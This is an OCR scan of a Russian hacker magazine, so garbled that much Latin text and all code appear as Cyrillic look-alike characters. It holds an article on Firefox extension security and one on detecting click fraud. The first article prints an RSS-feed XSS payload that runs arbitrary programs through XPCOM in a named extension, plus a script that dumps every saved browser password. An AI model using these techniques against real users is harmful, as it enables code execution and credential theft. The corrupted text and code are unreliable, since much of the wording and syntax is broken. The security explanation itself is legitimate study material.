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Архитектура расширения МоііІІа РігеТох 



0- СеіАйй-опз 
4-д; Ехіепзіопз 
Ц] Аррнагалсе 



І ѵ I $^агсЬ аІІ айсі-опі 



^ ВеИегРгіѵасу 1.66 

"5ире,. №е „ѵГТеГегепсеа ^ОізаЬй —Ретоме 

■ ОоѵѵпІоасІ Мападег Тъѵеак 0.9.5 

АІІоѵѵз: - . . Мег? &Рге№гепее$ фоізаые —Рето№ 

РІакИЬГоск 1.5.15,1 

Реріа... моге ( фрігаЫе — йетяч | 

ни»»— икЬ 

а ЫоЗсгірІ 2Л. 2.5ГСІ 

Біга... мсге |^Р№№паке5 | | ЦОіізі* I I — Ветоѵе I 



Управление расширениями 



<тепиЬаг ісІ= > 

<тепи ісІ= 

1аЬе1= 

ассе55кеу="&Ие11оіл>ог1сІ. Ье11оМепи.ассе55кеѵ: " 

іп5егЕа-Р~Еег= > 

<тепирорир> 

<тепиі1:ет ісІ= 

1аЬе1= 

ассез5кеѵ= 

опсоттапс!= 

"ХІИБсІіооІСІіготе. ВгоыБегОѵегІау. 5ауНе11о(еѵепі:Х;" ./>_ 

</тепирорир> 

</тепи> 

</тепиЬаг> 

Одним из ключевых понятий в расширениях Огнелиса является 
понятие «хром». Это пользовательский интерфейс и, по сути, приви- 
легированная зона браузера (сЬготе://...), в которой исполняется код 
расширения и браузера. Исполнить код в зоне хрома — обычно глав- 
ная цель для злоумышленника. С помощью файла сИготе. платьев* 
мы сообщаем браузеру о сЬготе-файлах расширения и перекрытиях, 
локалях, скинах, стилях: 

согтЕеітЕ ЕіеПошогІсІ сЕіготе/согтЕегтЕ/ 

оѵегіаѵ сЕіготе://Ьгоы5ег/соітЕеітЕ/Ьгоы5ег.хи1 сбготе:// 
Ііе11оыог1сІ/соп1:еп1:/Ьгоы5ег0ѵег1ау .хиі 

зкіп Еіеііоыогісі сІаззіс/І.Ѳ сЕіготе/зкіп/ 

Іосаіе НеПошогІсІ еп-115 сНготе/ІосаІе/еп-115/ 



ОБНОВЛЕНИЕ РАСШИРЕНИЯ 



Рассмотривая вопросы безопасности расширений, равно как и друго- 
го программного обеспечения, важно не забыть и про то, как пользо- 
ватель получает расширения и обновления. Каналы распространения 
аддонов Огнелиса можно разделить на две категории: 

• официальная галерея дополнений — асИопз.тогіІІа.огд (сокр. АМО); 

• ресурс разработчика расширения. 
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ПРОЦЕДУРА ОБНОВЛЕНИЯ 
РАСШИРЕНИЙ 



Рассмотрим случай, когда расширение устанавливается и обновляется 
со страницы разработчика. За механизм обновления расширения 
отвечают две директивы манифеста установки: ирсІа1:еІІНІ_ и ирба1:еКеу. 
Директива ирсІа^еИ РШ указывает на адрес специального манифеста 
обновлений, который представляет собой ХМ1_/П0Р-файл с доступными 
для расширения обновлениями и адресами. Огнелис периодически 
(в зависимости от настроек) запрашиваетэтот файл и информирует 
пользователя о доступных обновлениях. 

<еш: ирс!а1:еЦКІ.>Іі1:1:р: //млм.-Роо. сот/ирсІа1=е. с^і?ісІ=%ІТЕМ_ІР% 
&атр ; ѵег5Іоп=%ІТЕМ ѴЕК5ІОМ%</ет : ирс!а1:еІЖІ.> 

Очень важно, чтобы этот манифест нельзя было подменить в 
небезопасном сетевом окружении, например в твоем любимом кафе с 
бесплатным ѴѴі-Рі. К сожалению для одних и к счастью для других, тут 
МогіІІа подкрутила гайки, и начиная с третьей версии Огнелиса уже 
нельзя просто так указать НТТР-адрес в качестве ирсІа1:еІ)РІ_. Однако 
существует альтернативный путь — указать в манифесте установки 
расширения ирсЫеКеу. Какты уже догадался, он представляет собой 
не что иное, как публичный ключ разработчика, используемый для 
подписи как манифеста обновления, так и самих обновлений: 

<еш : иргіа1:еКеу>МІ6-РМАѲСС5дС5ІЬЗР0ЕВА0ЦАА4СМАРСВі0КВ^0РК42 
6ег0/НЗХ1:53ѵаВ5+РЗрЫіз2с9Е0І50С358КЗРІ0Ь392НЗК1ТХеаЕ731лІц 
1:9ІАІЦтВЫТЕРѵм5+РІ9ѵЫи8058М9СНІіРМѵеР6і41ииУіТиКпп7У<л</І^2 
уІ32оК5Уа32КихАѵ1:едАЫдРТ/363мВіхІеСхту5-РаыВ/2Н4КаРіУЗѵп 
ггОІРАОАВс/ет: ирс!а1:еКеѵ> 

В последнем случае в манифесте обновления наряду с атрибутом 
зідпаШге (подпись манифеста) указывается ещё и ирсЫеНазН, 
который представляет собой хэш-сумму хрі-файла новой версии 
расширения. Утилита МсСоу облегчает процесс подписи расширений и 
сопутствующих данных. 

При распространении обновлений через АМО об ихдоставке 
пользователям заботится уже АМО. Таким образом, разработчику, 
в общем, не имеет смысла указывать ирсІа1:еІІПІ_. Из приведённого 
фрагмента лога видно, как и на каких ресурсах Огнелис 
запрашивает информацию об обновлениях: 

*** |_рб асІсІоп5.ирсІа1:е5: Кедиезігіп^ Іі1=1=р5://ѵег5ІопсІіеск. 

ас!сІоп5.то2І11а.ог^/ирсІа1:е/Ѵег5ІопСІіеск.рІір?гедѴег5Іоп=2& 

ісІ=іп5рес1:ог(а)то2І11а . ог^&ѵег5Іоп=2 . 0 . 10&тахАррѴег5Іоп=8 . Ѳа1& 

5І=а1=и5=и5егЕпаЫесІ&аррІР={ес8Ѳ30-Р7-с20а-464-р-9Ь0е- 

13аЗа9е97384>&аррѴег5Іоп=Б . 0&аррО$=Ипих&аррАВ1=х86_64-^ссЗ& 

1оса1е=еп-Ц5&сиггеп1:АррѴег5Іс>п=5.Ѳ&ирсІа1:еТѵре=97 

*** |_рб асісіопз.хрі: СаШп^ Ьоо1=5І=гар теігііосі зІгагЕир оп іісІѲ- 

1=ЗееКО^(^\ІІСН9с501РдсТРиМп^а)іе1=раск ѵегзіоп 0.0.19 

*** |_рб асІсІоп5.ирсІа1:е5: Кедиезігіп^ ІтІ=1=р5://1оса1Ііо5І=/ирсІа1=е.гсІ-Р 
*** ІлІАгам асІсІопз.ирсІа'Ьез: НТТР Кедиезі: Таііесі Тог ап ипкпсмп геазоп 

Видно, что мой трюк не сработал и браузер отказался скачивать 
манифесте ресурса, на котором используется самоподписанный 55І_- 
сертификат. Таким образом, злоумышленнику, мягко говоря, не так 
легко внедриться в процесс обновления расширений для Огнелиса. 
Остаётся либо попытаться скомпрометировать учётную запись раз- 
работчика на АМО, либо каким-то образом завладеть его приватным 
ключом. Проверка 20 наиболее популярных расширений для Огнелиса 
на АМО показала, что разработчики не стремятся заморачиваться со 
своими манифестами обновления и возлагают эту заботу на АМО. 




Уязвимость в РББ-читалке позволяет исполнить код 



АМО, безусловно, предоставляет самый популярный и простой 
способ разместить расширение. Плюс ко всему пользователи 
доверяют АМО гораздо больше, чем неприглядным сайтам, пред- 
лагающим установить что-то в любимый браузер. Тем не менее 
при использовании второго способа разработчик может получить 
чуть больше контроля над распространением расширения (читай 
подробнее во врезке). Если разработчик решит раздавать свое 
расширение через сайт АМО, то просто так его никто не опублику- 
ет. Вернее, страница расширения будет доступна только по прямой 
ссылке. Перед публикацией на АМО расширение обязательно 
проверяют редакторы АМО. Проверка бывает двух типов: предва- 
рительная и полная. 

Из-за скопившейся очереди предварительная проверка сейчас 
выполняется в течение месяца. В ходе этой проверки исходный 
код расширения анализируют на баги безопасности и параметры, 
нарушающие правила размещения расширений на АМО. Если 
проблем не обнаружено, то расширение с ограничениями (на показ 
в тематических разделах и поиск) публикуют на АМО. При этом 
ссылка для установки, приведенная на странице расширения, 
сопровождается предупреждением о том, что расширение имеет 
статус экспериментального. Каждое обновление расширения 
также должно пройти предварительную проверку. Расширение 
можно отдавать на полную проверку, после того как оно набрало 
популярность, стало стабильным и выполнило все требования 
АМО. После ее успешного прохождения расширение публикуют без 
ограничений. Для него становятся доступны все фишки распро- 
странения через АМО. 

По понятным причинам полная проверка занимает больше вре- 
мени, чем предварительная. Ждать своей очереди приходится около 
двух недель. В ходе полной проверки выполняется, по сути, полно- 
ценное функциональное тестирование расширения. Особое внимание 
уделяется производительности расширения и его влиянию на работу 
браузера. Проверка призвана не только выявить уязвимости в коде, 
но и определить, использовались ли при его создании методики 
безопасного программирования и т. п. Редакторы, которые проводят 
проверку, особенно следят за тем, чтобы расширение не оказалось 
малварью. При этом они руководствуются следующим. В расширении 
не должно быть: 

• удалённого выполнения или инъекции ЦаѵаЗсгірІ:; 

• использования ПетоІеХІА; 

• обфусцированного кода. 



ВЫПОЛНЕНИЕ ПРОИЗВОЛЬНОГО КОДА 



Поскольку проверка объективно не может быть всеобъемлющей, 
многие расширения, распространяемые через АМО, содержат 
самые разные уязвимости. Некоторые из них позволяют выполнять 
произвольный код на машине клиента, чего нельзя добиться при 
эксплуатации багов в аддонах Орега и СНготе. В плане безопас- 
ности отличительной чертой расширений Огнелиса по сравнению 
с расширениями Хрома и Оперы является отсутствие ограничений, 
привилегий и т. п. Как и код браузера, код расширения испол- 
няется в зоне сЬготе://. Ему позволено делать практически что 
угодно, а при использовании технологии ХРСОМ — вообще все, 
что может Огнелис. В случае атаки через уязвимость расширения 
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Бітріе К55 Реасіег — страница на АМО 



такая особенность приводит к гораздо худшим последствиям для 
пользователя. 

Чтобы далеко не ходить, предлагаю сразу разобрать пример по- 
добного случая. Как всегда, в поисках уязвимых расширений мы в 
первую очередь обращаем внимание на те аддоны, которые активно 
работают с входными данными. Утилиты для проверки почты и уве- 
домлений в социальных сетях, всевозможные Р55-читалки — короче 
говоря, расширения, которые парсят какие-то данные и представ- 
ляют их в удобном для пользователя виде. Для эксперимента мы 
возьмем не слишком популярный аддон Зітріе Р55 Реасіег ( Ьіі.Іѵ/ 
ШоіОб], который тем не менее хорошо подходит для демонстрации 
возможных для пользователя рисков. 

Устанавливаем аддон и добавляем первый Р55-поток, чтобы по- 
нять, как эта читалка вообще работает. Оказывается, всего-то отобра- 
жает в тулбаре заголовки фидов. Теперь лезем в код главного класса 
расширения — нас интересует, как аддон обрабатывает входные 
данные (в нашем случае фиды). Анализируем код и сразу находим 
опаснейшую уязвимость. Автор, конечно же, забыл про валидацию 
параметра іюесШгі. К тому же подобный подход к отображению адреса 
подписки в статусбаре выглядит как-то ненатурально: 

тепигЕет. зе'ЕА'Е'ЕгіЬігЕе( л 

іі 



Злоумышленнику остается сформировать Р55-фид (простой 
ХМІ_-файл, который можно разместить где угодно) со зловредным 
содержимым, убедить жертву подписаться на этот фид (социалка 
тут, социалка там — социалки повсюду) и дождаться, когда она 
прочитает обновления. :) Ну хорошо-хорошо, в данном случае 
нам надо еще, чтобы жертва навела курсор мыши на заголовок 
новости в тулбаре... И — вуаля! — зловред выполнится! Вот такой 
незамысловатый код мы использовали для запуска калькулятора 
(о, это самый страшный вирус на свете!) на машине жертвы через 
найденную брешь: 

<і1:ет><1=і1:1е>5оте 1=і1=1е</1=і1=1е> 

<1іпк> 

сіаііа : ееее 1 )+(-РипсЕіоп( ) 

б1е=Сотропеп1і5 . сіаззез [ ]_. 

сгеа1:еІп5І:апсе(Сотропеп1:5 . іпІіегРасеБ . пзИосаІРіІе) ; 

б!е.іпі1=1лІі1:ІіРа1=Іі( Д; 

ртсе55=Сотропеп1=5 . сіаззез [ :1"1. 

сгеаІіеІпБІіапсеССотропепІіБ . ІпІіегРасеБ . пБІРгосеБз) ; 

ргосеББ . ІпіІгКіІе) : 



— аг§5=[ , Іі 

ргосеББ. пип (’-РаІБе.аг^Б.аг^Б.Іеп^іІі’) ; 

( У*-а1ег1:( 'ХББАРоо 

<риЬРа1=е>$ип < 21 Аи^ 2011 21:34:10 +0400</риЬРа1=е> 

<сІе5сгір1:іоп>5оте 1:ех1:</сІе5сгір1:іоп> 

</і1=ет> 

Этот пример отлично иллюстрирует преимущества компонентов 
ХРСОМ — в данном случае это возможность запускать произ- 
вольное приложение на целевой системе. Иными словами, такое 
небольшое и простое расширение может запросто послужить той 
самой дыркой, через которую твою машину скомпрометируют. 
Кстати, ты наверняка задаешься вопросом, зачем тут ІІРІ «баіа:..»? 
Огнелис в контексте Э5 эскейпит кавычки в обычных адресах, 
из-за чего при эксплуатации БОМ ВазесІ Х55 возникают проблемы. 
Они появились и тут. К счастью, для нас не имеет значения, пере- 
йдет ли жертва по этому адресу, — главное, чтобы не обрезались 
символы, поэтому смело используем баіа-схему. 



ИЗВЛЕЧЕНИЕ ПАРОЛЕЙ 



Если у злоумышленника есть возможность выполнить произволь- 
ный код на машине жертвы, то простое получение сохраненных 
паролей уже не выглядит таким впечатляющим. Но все же о нем 
стоит упомянуть. В этом случае не особо поможет даже исполь- 
зование пароля для доступа к хранилищу паролей в Огнелисе. 
Во-первых, многие ли его устанавливают? Во-вторых, доступ к 
хранилищу предоставляется в рамках сессии работы с браузером, 
так что пользователь наверняка этот пароль уже ввел! Для полу- 
чения паролей достаточно инъектировать следующий несложный 
дампер: 

ѵаг сіитр = ; 

4- ' - : - г , ^ -Г _ :7 ; ; ... ; ; ; — 

ѵаг тѵІ.о^іпМапа^ег = СотропепІіБ . с1а55е5[ 

| 

%е1:5егѵісе(Сотропеп1:5 . іпІіег-РасеБ . п5І^о%іп^ / 1апа%ег , ) ; 

ѵаг іо^іпб = тѵІо^іпМапа^ег.^е1=А111о^іп5(-Г>Ѵ. 

-Рог (ѵаг і = ; і < іо^іпб Леп^іИ ; і++ ) 

{ 

сіитр = сіитр + 1 о§іпб[і] .ІіОБІіпате + + 

1о^іпб[і] .изегпате + + 1 о^іпб[і] . разБмогсІ + 



і 

аіегіг(сіитр’) ; 



саіісіі(ех) 



// Тіііб шііі опіѵ барреп і-р Ііііеге іб по 
// пзИо^іпМапа^ег сотропепі: сіэбб 



Само собой, в коде расширения может встретиться не такая хи- 
трая конструкция, а простой вызов еѵаіП с непровалидированными 
входными данными. Но это, по идее, легко отловить на этапе про- 
верки расширения, выполняемой перед его публикацией на АМО. 



ОІЯКО 



Сейчас Мозилла активно продвигает новый формат создания рас- 
ширений АсИ-оп 5БК, ранее известный как проект ^іРаск. Он зна- 
чительно упрощает процесс создания расширения и даже позволяет 
избавить разработчика от необходимости лезть в дебри ХШ Для его 
использования достаточно только знаний ^ѵаЗсгірІ, НТМІ_ и С55. 
Мозилловцы решили применить эту технологию для обеспечения 
безопасности расширений на уровне архитектуры. Ну что ж, пожела- 
ем им удачи! ;) ПС 
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Александр ІИе4и Фаронов (а.еіагопоѵйдтаіі.сот) 




головная боль АсБепзе 

МОШЕННИЧЕСКИЕ КЛИКИ В РЕКЛАМНОМ БИЗНЕСЕ 



Объем рекламного рынка 
в интернете на данный 
момент составляет около 
10 миллиардов долларов. 
Один миллиард из них 
приходится на долю 
кликфрода. Что это за зверь 
и как от него защититься, 
ты узнаешь из этой статьи. 



ІѴІѴІѴІ 

• ѵѵѵѵѵѵ.доодіе.сот/ 
асІ5еп5е — боодіе 
АсІБепзе; 

• (Нгесі.уапсіех.ги — 

Яндекс.Директ; 

• ѵѵѵѵѵѵ.зруЬох.сот. 

иа — крутейший 

антифрод-сервис 

БруВох; 

•ѵѵѵѵѵѵ.асІѵѵаІсНег.сот 

— следим за кликами 
на АсІѵѵаІсИег; 

• Ізру.ги — еще 

один сервис по 
отслеживанию 
кликов; 

• ріѵѵік.огд — 

опенсорсная 
аналитика Ріѵѵік; 

• ѵѵѵѵѵѵ.доодіе. 
сот/апаіуіісг/ — 

аналитика от Гугла. 



МАТЧАСТЬ 

Кликфрод (от англ. сІісИгаисІ — мошенническое нажатие) — это 
вид сетевого мошенничества, основанный на обманных (лож- 
ных) кликах по рекламе. Такие клики могут производиться как 
в ручном режиме (злоумышленник самостоятельно, без помощи 
подручных средств, кликает по рекламе), так и в автоматическом 
(скликивание осуществляется с помощью автоматизирован- 
ных скриптов или программ). По заверениям суровых дя дек- 
аналитиков, доля мошеннических кликов составляет около 
10-15 % от всех кликов на рынке рекламы. Однако не все ложные 
клики удается зарегистрировать, и потому их реальная доля 
намного больше. Кликфрод — настоящая головная боль для по- 
исковиков и отдельных РРС-партнерок. 

Теперь рассмотрим на примерах, как накрутка кликов 
осуществляется в реальной жизни. Допустим, ты владеешь пор- 
талом по продаже слонов. Бизнес надо поднимать, и ты реша- 
ешь пустить часть своих доходов на рекламу. Регистрируешься 
в АсІБепзе или Яндекс.Директ и создаешь объявления таким 
образом, чтобы по запросу «купить слона» поисковик выдавал 
ссылки на твой магазин. Естественно, это стоит денег, поэтому 
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Кликфрод: головная боль АсІЗепзе 




Интерфейс БруВох 

ты пополняешь свой счет на определенную сумму, которая рас- 
ходуется, если юзеры кликают на твое объявление (один клик по 
объявлению стоит по-разному, от $0,1 и выше). И вроде бы все 
хорошо: поисковик предоставил рекламу, юзеры по ней пере- 
ходят, — но не тут-то было! Конкуренты по торговле слонами уви- 
дели твои новые объявления и решили основательно подпортить 
тебе рекламную кампанию. В самом простом случае они поручат 
своим подчиненным просматривать все рекламные объявления, 
которые поисковики выдают по запросу «купить слона», и кли- 
кать на объявления, ведущие в твой магазин слонов. На самом 
сайте они, конечно, ничего покупать не будут. Их цель — умень- 
шение бюджета твоей рекламной кампании. Таким образом, по- 
сле нескольких дней фальшивого скл и кивания твой рекламный 
бюджет заметно уменьшится или вообще иссякнет, а конкуренты 
будут прыгать от счастья. Если у твоих конкурентов мало людей 
в подчинении, они наймут программиста, чтобы он написал ути- 
литу для автоматического скликивания рекламы. Использование 
такой утилиты также приведет к уменьшению твоего бюджета. 
Естественно, такие действия являются мошенническими и не- 
честными по отношению ктебе. 

Рассмотрим другой пример осуществления кликфрода. 
Злоумышленник Василий хочет заработать побольше денег. Он 
решает нелегально подзаработать на РРС-партнерке (Рау-рег- 
СІіск — партнерки, которые платят владельцу сайта за то, что 




Демо-отчет в АсіѵѵаІсИег 

пользователи кликают по рекламному объявлению, размещенно- 
му на этом сайте). Василий регистрирует свой сайт в соответству- 
ющей партнерке и находит рекламодателя, который предлагает 
разместить рекламное объявление на ресурсе Василия. Дальше 
Василий начинает сам скликивать рекламу со своего сайта (есте- 
ственно, не забывая менять ІР и прочие переменные окружения). 
Это приносит ему доход, в то время как рекламодатель получает 
нулевой КПД от своей рекламы. 

ПРИЗНАКИ КЛИКФРОДА 

Наверное, покупая рекламу в интернете, ты теперь начнешь 
опасаться кликфродеров и думать о том, как же отследить 
мошеннические клики. Существует несколько способов борьбы 
с кликфродом, но для начала давай рассмотрим его основные 
признаки. 

1. Если клики по рекламе были произведены с одного ІР-адреса, 
то это должно наводить на подозрения, что здесь что-то не так. 
Считается, что более десяти кликов по рекламе с одного ІР — 
это явный признак кликфрода. 

2. Если посетитель, который перешел на твой сайт по продаже 
слонов, сразу же ушел с него, то тут возможны два варианта: 
или ты отвратительно сделал сайт, или посетитель был вовсе 
незаинтересован в покупке слона, а просто хотел обнулить 
твой рекламный бюджет. 
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ПОЧЕМУ поисковики 
ЗАИНТЕРЕСОВАНЫ В БОРЬБЕ С 
КЛИКФРОДОМ? 



У тебя наверняка возник логичный вопрос: зачем поисковикам и 
РРС-партнеркам бороться с кликфродом? Ведь чем больше денег 
рекламодатель потратит на рекламу, тем лучше для поисковика/ 
партнерки. Оказывается, все так просто. В 2007 году компания 
ѴаНоо! была признана виновной в накрутке кликов. Дело было 
возбуждено конторой СИескта1:е Бігаіедіс бгоир. Компанию 
ѴаНоо! обязали выплатить штраф в размере пяти миллионов 
долларов и возместить рекламодателям все убытки с 2004 года. В 
результате аналогичного расследования в марте 2006 года боодіе 
обязали вернуть рекламодателям 90 миллионов долларов. После 
этих прецедентов рекламные площадки предпочитают честно 
рассказывать рекламодателям о том, какие клики были совершены 
злоумышленниками, и сразуже компенсировать потраченные 
впустую средства. 



3. Если посетитель, который перешел на твой сайт, не производит 
никаких действий (не двигает мышкой, не прокручивает стра- 
ницы, не кликает по ссылкам), то тут также есть два варианта: 
посетитель — явный зомби или тут не обошлось без использо- 
вания мошеннического софта для кликфрода. 

4. Если количество переходов на твой сайт увеличил ось, а уро- 
вень конверсии снизился, то это также может говорить о клик- 
фроде. Конверсия показывает действенность рекламы сайта в 
Сети. Вычисляется она следующим образом: берем количество 
посетителей, которые после захода на сайт совершили какое- 
либо активное действие (например, все-таки купили слона), 

и делим его на общее количество посетителей сайта, а потом 
умножаем результат на 100. В итоге мы получим показатель 
рекламной конверсии в процентах. 

5. Отсутствие сессии в ку кисах также считается признаком 
кликфрода, поскольку мошеннические программы обычно не 
используютсессии. 

БОРЬБА С КЛИКФРОДОМ: 5РѴВ0Х 

Итак, мы рассмотрели основные признаки накрутки кликов. 
Теперь давай перейдем к конкретными способам борьбы с клик- 
фродом. Естественно, тот поисковик/рекламная площадка, где 
ты зарегистрировался, будет предоставлять некую абстрактную 
статистику. Но мы рассмотрим продукты от сторонних разработ- 
чиков, так как они на 100 % заинтересованы в том, чтобы опо- 
вестить нас обо всех ложных кликах (еще бы, они ведь получают 
за это деньги). 

Первым в нашем списке антикликфрод-решений идет сервис под 
названием БруВох. По сути, это комплексный сервис веб-аналитики, 
который поможеттебе увеличить количество продаж, скорректиро- 
вать поведение посетителей, повысить эффективность рекламных 
кампаний, а также сделать то, что больше всего нас интересует, 

— выявить мошеннические действия на сайте. Работает сервис 
достаточно просто: ты регистрируешься в нем и получаешь специ- 
альный отслеживающий НТМІ_-код, который необходимо установить 
на нужной тебе странице перед тегом </Ьобу>. 

Код имеет примерно следующий вид (в каждом конкретном 
случае он будет немного отличаться): 

<поіпсІех> 

<5сгір1= 1:уре= Чех1:/даѵа5сгір^ ' > 

ѵаг 5сгір1:=сІоситеп1: . сгеа1:еЕ1етеп1:( ' зсгірі: ' ) ; 



зсгірі: .1:уре= ' іехі/даѵаБСГірІ: ' ; 



(1оса15і:ога§е. зруЬох) 

{ 

ѵаг 5рѵЬох_Ііа5Іі= 1 а181а6Ѳ3769с1-Р98асІ927е7367с7аа51 1 ; 
5руЬох_5е55Іоп=1оса1Б1:ога§е . зруЬох; 

зсгірі:. б гс= ' Іі1:1:р://иа . гоЬоігерІау . пе^-РазІ : ^б Гі 

} 



(Іоситепі.^еіЕІетепіБВуТа^атеГ'ІіеасГ) [Ѳ] . 

аррепсІСИі1сІ( Бсгірі: ) ; 

</5сгір1:></поіпсІех> 

После установки кода ты сможешь следить за действиями 
пользователей на своем сайте, как будто на нем работает специ- 
альная видеокамера, которая все записывает и анализирует. До- 
ступен широкий выбор функций для просмотра отчетности: карта 
внимания пользователей сайта, карта прокрутки страницы, 
карта-схема движений мыши и статистика переходов. С помощью 
всех этих функций ты сможешь с большой долей вероятности 
определить, что делали посетители на твоем сайте. Очевидно, 
что если с одного ІР было совершено слишком много переходов и 
при этом на странице не производилось почти никаких действий 
(это можно определить с помощью карты прокрутки страницы, 
а также карты-схемы движений мыши), то тут явно не обошлось 
без злоумышленников. Приятным бонусом ко всем этим функци- 
ям является поддержка русского языка. Впрочем, у БруВох есть 
и свои минусы: продукт не распространяется бесплатно (стоит 
около 1000 рублей в месяц), а фришная версия действует только 
пять дней (по правде говоря, чтобы определить, осуществлялась 
ли на сайте накрутка кликов, в некоторых случаях достаточно и 
пяти дней). 

АБѴѴАТСНЕР 

БруВох, несомненно, удобен, но довольно громоздок. Что же 
делать, если тебе необходимо только посмотреть статистику 
по кликам и, может быть, еще общую статистику по действиям? 

В этом случае лучше обратиться к сервису АбѵѵаІсЬег, который 
предоставляет не такие подробные отчеты, как БруВох, а только 



КЛИКФРОД НАКАЗУЕМ! 



Если твой друг Петр занимается кликфродом и утверждает, что 
за скликивание ему ничего не будет, не верь этому и обязательно 
попытайся отговорить своего друга от занятия таким грязным делом. 
Кликфрод наказуем, и еще как! 

В 2003 году был арестован программист Майкл Энтони Брэдли, 
который вымогал у компании боодіе 150 тысяч долларов. Майкл 
заявил, что создал программу, которая может переходить по 
рекламным объявлениям, и разместит ее под названием боодіе 
СІщие в интернете, если великая компания боодіе не даст ему 
требуемую сумму. Естественно, боодіе это не понравилось, и она 
быстро состряпала дело на Майкла. Впрочем, незадачливому 
кликфродеру повезло, так как заведенное на него дело неожиданно 
закрыли. Другой инцидент, связанный с кликфродом, произошел 
в 2009 году. Корпорация МісгобоЛ: обвинила неких Гордона Лама, 
Мелани Сьюэн и Эрика Лама в мошенничестве, совершенном 
путем накрутки кликов внутри рекламной платформы МісгозоЛ:. 
Наненсенный при этом ущерб был оценен в 750 тысяч долларов. 

За кликфрод все-таки можно получить по голове. И хотя в нашей 
стране кликфродеров еще ни разу не арестовывали, помни, что это 
может случиться в любой момент. 
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Сатрап Нате: Хакер 

А сатраідп пате із из ей Со ігіепіі^у Ліг рагЕісиІаг ас) іп уоиг герогСз, ТНе 
пате І4 ІігпіСей іп ІвпдЕІІ Со 32 сНагаеІегз іпб питЬегв. Рог еяатрНе. ап ай 
іп "ВоЬ'в МйпсЫу и*.\5І«сег" соиій Ь* пат^й "6 оЬі Иа-оі", 

5ыгсК Егфпе: боо^Ее АсМог ^з Г71 

5е1гсг Л с 5 еа гсЬ епдіп* |Ь«уои ріап |д иге Ліі (гаскіпд Мик іл-ііЬ. 

Стир: Іеяі [дг| :: Сгеаіе Сгоир 

Ай'Л'аТСН е г аІГвмс уйи СО Огдіпіге уОиГ Сатраідлі іп йіІТегеп: дгоирг. 50 
сЬіс уои с ал сотраг* апй сопггая Ногѵ сасЬ дпоир рігГогт* ел Іи оля. №« 
Ыдкіу г*сотт*пй ЛіЕ уои иі* Ли Гаиич. их чѵШ Ь»1р уои д« еНі то ас 
оиЕ о* сЬе іеіЕііеісз тй города Іп еН* Іопд гит Кури Йо пос сиггтЕІу Ьаѵ* 
апу дгеира счаСей, ог иіік » с чаи а іій«гіеп( дгоир. уои сап дпе ир 
Ьу сііскіпд оп "Сгеаіе Нгоир". ТЬе дгоир уои геі ир кѵИІ аііСотаЬсаІІу 
арреаг іп Йіе йгар-йонп тепи ѵгНеп уои аге сгеаЕіпд уоиг пехі сатраідп. 

І_аги1іп& Раде: |НЦр://хакер.гц ~| 1 100І % - 

ЗГ уои сап поЬ гее Йіе Ьапйіпд Раде Ріеій ог гесегѵе а йігЕгіЪиікні ег?ог 
ріеан таке гиге ЕЬаЕ уоиг Ъгоіѵ&ег кэз Заѵа&сгірі епаЫей. 

Еоіег іЬе иЛЕ. ос сНе ѵѵаЪ раде уои «апЕ со іепй уоигѵіаНэг* и айег 
сііскіпд оп Лі ійѵ*діі*т*пЕ. ТЬіі Іапйіпд рад* сап сіЛсг Ь* уоиг 
Ноиіарід* ог а ірссиі рад* уои Ьіѵ* юс ир іросШсаІІу Іог Лем ѵШеогіч 
Ѵ ои тау тсог туігіріріапйіпд радея апй Ле регеепЕад* оГегіЯс уои игііН 
Со 5епс ю еасЬ впе оГЛет Со ЕеЯ лНіск опе српуелг Ьессег Ее заіез ог 
асЕіалз. 5 ее а иг Геаіигез раде Рог тоге йеСаіІз. 

Смі Туре: | Рау Рег СВск 1^1 

5*ксс сЬе сур* о? Л* сатраідп; Лас іі. лА*еН*г іс'а а Рау Р*г СІіск. Йіе 
іі*. толсМу гас*. <ч> ТЬи і*і*сСюп и пнйой 4 г сяІсиІаЕІпд уоиг Еиіигс 
счріпюз* 



Создаем кампанию по отслеживанию сайта хакер. ги 



самые необходимые сведения. Он также позволяет просмотреть 
бесплатный демо-отчет по соотношению уникальных кликов 
(уникальных ІР) и общего количества кликов (кстати, если они 
примерно одинаковы, то это говорит о том, что посетители, за- 
ходившие на твой сайт, не совершали почти никаких действий). 
Более подробный отчет (по действиям пользователей) доступен 
в 30-дневной триальной версии. Интересно, что сервис также 
предоставляет так называемые отчеты ІтаисІ герогіз, которые на- 
целены как раз на выявление кликфрода. Чтобы сгенерить такой 
отчет, необходимо создать новую кампанию по отслеживанию 
кликфрода, задать некоторые ее параметры (название проекта, 
метод отслеживания) и вставить в соответствующую страницу 
приведенный ниже код: 

<5сгір1= 1ап^иа^е="іаѵа5сгір1=" 1=ѵре="1=ех1=/іаѵа5спір1="> 
с!осшпеп'Е.мгі’Ье( * 

<іш^ 5гс="Іі1:1:р://58.асІыа1:сІіег.пе1:/сІетоѵЗ/1:паскеп. 
рМр ?1:= ' + ісі [ 1 ] + ' &ге-Р= ' н-гн- ' &1апсІ= ' +1+ ' " 

5І:у1е= ,, ЬогсІег : Ѳрх;ыісІ1:б : Ірх; ]теі§Ііі : Ірх; " /> ' ) ; 

</зсгір1:> 

После этих нехитрых манипуляций кампания заработает, 
и ты сможешь просматривать отчеты по накрутке кликов на 
своих страницах. Полная версия АбѵѵаІсЬег обойдется тебе в 30 
мертвых американских президентов в месяц. Помни, что если 
ты не знаешь английский язык или, на худой конец, не умеешь 
пользоваться элементарным переводчиком, то лучше забить на 
АбѵѵаІсЬег и воспользоваться БруВох. 
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Базовый демо-интерефейс АсіѵѵаІсЬег 



Ы А л АА 1 9 Поев щен ия 

н и ц 

А А /VI І\ 68,42 % Показатель отказов 

00:03:18 Среди, длительность пребывания на сайте 



Красным подчеркнуты особо важные показатели, на которые следует обратить 
внимание в боодіе Апаіуіісз 

ХАЛЯВНЫЕ РЕШЕНИЯ 

Если твой бюджет не рассчитан на отслеживание кликфрода, то 
могу предложить тебе воспользоваться бесплатными сервисами 
аналитики: Соодіе Апаіуіісз и Ріѵѵік (последний представляет 
собой навороченное опенсорсное РНР-приложение, которое 
ты легко сможешь установить на свой хост). Они, конечно, не 
выявят кликфрод, но помогуттебе составить примерную картину 
происходящего. Тут есть один трюк: нужно установить аналитику 
от Гугла на свой сайт, подождать недельку, а потом взглянуть на 
отчеты. Если они покажут, что на сайт заходит много посетите- 
лей, но среднее время их пребывания на сайте слишком мало 
(меньше 40 секунд, хотя эта цифра различается для разных 
сайтов), то вполне вероятно, что кликфрод действительно имеет 
место. 

Существует еще и так называемый «деревенский» метод 
борьбы с кликфродом. Суть этого метода заключается в том, что 
на рекламной площадке ты просто выставляешь маленькую цену 
за клик по твоему объявлению. Это поможет тебе избавиться 
